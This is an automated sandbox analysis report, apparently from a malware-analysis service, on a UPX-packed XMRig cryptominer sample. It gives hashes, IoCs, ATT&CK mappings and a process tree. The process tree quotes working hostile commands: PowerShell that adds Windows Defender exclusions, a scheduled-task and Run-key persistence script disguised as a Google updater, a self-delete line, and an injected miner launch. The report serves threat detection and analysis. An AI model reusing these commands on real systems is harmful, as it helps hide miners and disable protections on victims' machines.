xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
344s
max time network
1799s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2108 created 1264	2108	M8xUNW42QxTLMRXN.exe	14
PID 2108 created 1264	2108	M8xUNW42QxTLMRXN.exe	14
PID 2108 created 1264	2108	M8xUNW42QxTLMRXN.exe	14
PID 2108 created 1264	2108	M8xUNW42QxTLMRXN.exe	14
PID 2888 created 1264	2888	updater.exe	14
PID 2888 created 1264	2888	updater.exe	14
PID 2888 created 1264	2888	updater.exe	14
PID 2888 created 1264	2888	updater.exe	14
PID 436 created 1264	436	conhost.exe	14
PID 2888 created 1264	2888	updater.exe	14

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral19/memory/2340-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2340-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2596	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2888	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1436	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral19/memory/2340-63-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2340-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2888 set thread context of 436	2888	updater.exe	49
PID 2888 set thread context of 2340	2888	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	M8xUNW42QxTLMRXN.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2796	schtasks.exe
2408	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1452	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0d82323a051da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2108	M8xUNW42QxTLMRXN.exe
2108	M8xUNW42QxTLMRXN.exe
1168	powershell.exe
2108	M8xUNW42QxTLMRXN.exe
2108	M8xUNW42QxTLMRXN.exe
2804	powershell.exe
2108	M8xUNW42QxTLMRXN.exe
2108	M8xUNW42QxTLMRXN.exe
2108	M8xUNW42QxTLMRXN.exe
2108	M8xUNW42QxTLMRXN.exe
2588	powershell.exe
2888	updater.exe
2888	updater.exe
1644	powershell.exe
2888	updater.exe
2888	updater.exe
1088	powershell.exe
2888	updater.exe
2888	updater.exe
2888	updater.exe
2888	updater.exe
436	conhost.exe
436	conhost.exe
2888	updater.exe
2888	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	1088	powershell.exe
Token: SeDebugPrivilege	2888	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1452	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1452	WMIC.exe
Token: SeSecurityPrivilege	1452	WMIC.exe
Token: SeTakeOwnershipPrivilege	1452	WMIC.exe
Token: SeLoadDriverPrivilege	1452	WMIC.exe
Token: SeSystemtimePrivilege	1452	WMIC.exe
Token: SeBackupPrivilege	1452	WMIC.exe
Token: SeRestorePrivilege	1452	WMIC.exe
Token: SeShutdownPrivilege	1452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1452	WMIC.exe
Token: SeUndockPrivilege	1452	WMIC.exe
Token: SeManageVolumePrivilege	1452	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1452	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1452	WMIC.exe
Token: SeSecurityPrivilege	1452	WMIC.exe
Token: SeTakeOwnershipPrivilege	1452	WMIC.exe
Token: SeLoadDriverPrivilege	1452	WMIC.exe
Token: SeSystemtimePrivilege	1452	WMIC.exe
Token: SeBackupPrivilege	1452	WMIC.exe
Token: SeRestorePrivilege	1452	WMIC.exe
Token: SeShutdownPrivilege	1452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1452	WMIC.exe
Token: SeUndockPrivilege	1452	WMIC.exe
Token: SeManageVolumePrivilege	1452	WMIC.exe
Token: SeLockMemoryPrivilege	2340	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 2796	2804	powershell.exe	32
PID 2804 wrote to memory of 2796	2804	powershell.exe	32
PID 2804 wrote to memory of 2796	2804	powershell.exe	32
PID 2596 wrote to memory of 2708	2596	cmd.exe	33
PID 2596 wrote to memory of 2708	2596	cmd.exe	33
PID 2596 wrote to memory of 2708	2596	cmd.exe	33
PID 2588 wrote to memory of 1084	2588	powershell.exe	39
PID 2588 wrote to memory of 1084	2588	powershell.exe	39
PID 2588 wrote to memory of 1084	2588	powershell.exe	39
PID 1436 wrote to memory of 2888	1436	taskeng.exe	40
PID 1436 wrote to memory of 2888	1436	taskeng.exe	40
PID 1436 wrote to memory of 2888	1436	taskeng.exe	40
PID 1088 wrote to memory of 2408	1088	powershell.exe	45
PID 1088 wrote to memory of 2408	1088	powershell.exe	45
PID 1088 wrote to memory of 2408	1088	powershell.exe	45
PID 2888 wrote to memory of 436	2888	updater.exe	49
PID 308 wrote to memory of 1452	308	cmd.exe	51
PID 308 wrote to memory of 1452	308	cmd.exe	51
PID 308 wrote to memory of 1452	308	cmd.exe	51
PID 2888 wrote to memory of 2340	2888	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1264
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2796
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2408
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:308
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1452
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:976
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:436
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2340

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2708

C:\Windows\system32\taskeng.exe
taskeng.exe {3BCB17AD-43A2-4C59-868B-CA0F6732E61D} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 217KB
SHA256 b449b9bd566ee0efe592b9fca28d4180be6bbe4fd9687b7944288f6f87d1290b
MD5 531f6dbf7bd4a93f54f050b11c558c49
SHA1 c2e7e2e0ba62a4314edf9ff580f311ab30158440
SHA512 c23400390c2c9051f3cf62a1c7502d8307850cf5d5dea4edb27313903595ad768afdd9aefe5eccc08e27678f20841fe15965c64941d2cab969adf4d6b78b0d50
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8k:rWVi46hyqG2ckwLxgajd0ml
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 177KB
SHA256 709a0642ecca022f78bea7fc139a73634c1ddf60d27c66542e3cc9e81c42f4f4
MD5 6f62e77efd2ab0dee35e1a47ab23830f
SHA1 f9b7ea315541932c4768c7e157158fab0fc7d4cd
SHA512 ce1ce2bf5503c0ca754eafa39c081201a548fb6f74367c0ec7bee9d971c1fa977b220e5161deb63a360872ecc2a090c8e607b2556a94df96ebc6a865cbdc87ff
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviCH923SRVBkU0yS7IbF:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0I
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 643afc891d2c2e0983653d3c0e2bb198035962e8e264315ea43de9beb1910e6e
MD5 b3fc54962f27f027bdab582aa56a9399
SHA1 4ee139161c97a6af56ecbc8a43bb17a6218d1d37
SHA512 b6b33966bb6ea0baf78fb83258a5c915c8442956990598f5047e5c2ce1be455030dff30b441994b1ca21e9fcbd0837ebc110e3723716b7f2a385c3eacb15344b
SSDEEP 96:UjlbKC9M8cnqvsqvJCwozjlbKC9M8cnqvsEHyqvJCworZyLRQH+z715XlUVa:4lbXAUo/lbXAAHnorZgbz715t
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 140KB
SHA256 f42e322e2af6087f9e254d81cf6d6b2afe39c30cdae26e122b11e1ef4a7c35ba
MD5 f8d7dccfe2c84a8a6c18829103d19ee3
SHA1 45a6e9d5185729375908f8be838c024747a33663
SHA512 2bb79ab6ed1a7d046ddca593f769055561c12b3b162bf01b9b223edc1a15d745c1da89b9e9232a205a65b632887ab50588ad96b69ec55ce0764526333e2d1134
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYvK:L3zjTg6uUuViDX5Q6k6hyqsK
MD5 SHA1 SHA512 SSDEEP

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memory/436-70-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/436-74-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1088-55-0x0000000001130000-0x00000000011B0000-memory.dmp

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memory/1088-52-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/1088-53-0x0000000001130000-0x00000000011B0000-memory.dmp

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memory/1088-54-0x0000000001130000-0x00000000011B0000-memory.dmp

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memory/1088-57-0x0000000001130000-0x00000000011B0000-memory.dmp

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memory/1088-56-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/1088-58-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/1168-12-0x0000000002840000-0x00000000028C0000-memory.dmp

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memory/1168-9-0x0000000002840000-0x00000000028C0000-memory.dmp

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memory/1168-7-0x0000000002840000-0x00000000028C0000-memory.dmp

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memory/1168-6-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/1168-5-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

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memory/1168-11-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/1168-10-0x0000000002840000-0x00000000028C0000-memory.dmp

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memory/1168-8-0x0000000002460000-0x0000000002468000-memory.dmp

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memory/1168-13-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/1644-50-0x0000000000EC0000-0x0000000000F40000-memory.dmp

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memory/1644-49-0x0000000000ECB000-0x0000000000F32000-memory.dmp

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memory/1644-51-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

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memory/1644-47-0x0000000000EC0000-0x0000000000F40000-memory.dmp

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memory/1644-46-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

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memory/1644-48-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

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memory/2108-29-0x000000013F790000-0x000000013F9A1000-memory.dmp

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memory/2108-0-0x000000013F790000-0x000000013F9A1000-memory.dmp

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memory/2340-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-134-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-132-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-130-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-63-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-64-0x0000000000080000-0x00000000000A0000-memory.dmp

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memory/2340-68-0x00000000008B0000-0x00000000008D0000-memory.dmp

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memory/2340-69-0x0000000000C30000-0x0000000000C50000-memory.dmp

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memory/2340-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-78-0x00000000008B0000-0x00000000008D0000-memory.dmp

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memory/2340-79-0x0000000000C30000-0x0000000000C50000-memory.dmp

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memory/2340-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2340-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2588-35-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2588-41-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2588-40-0x0000000002490000-0x0000000002510000-memory.dmp

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memory/2588-37-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2588-39-0x0000000002490000-0x0000000002510000-memory.dmp

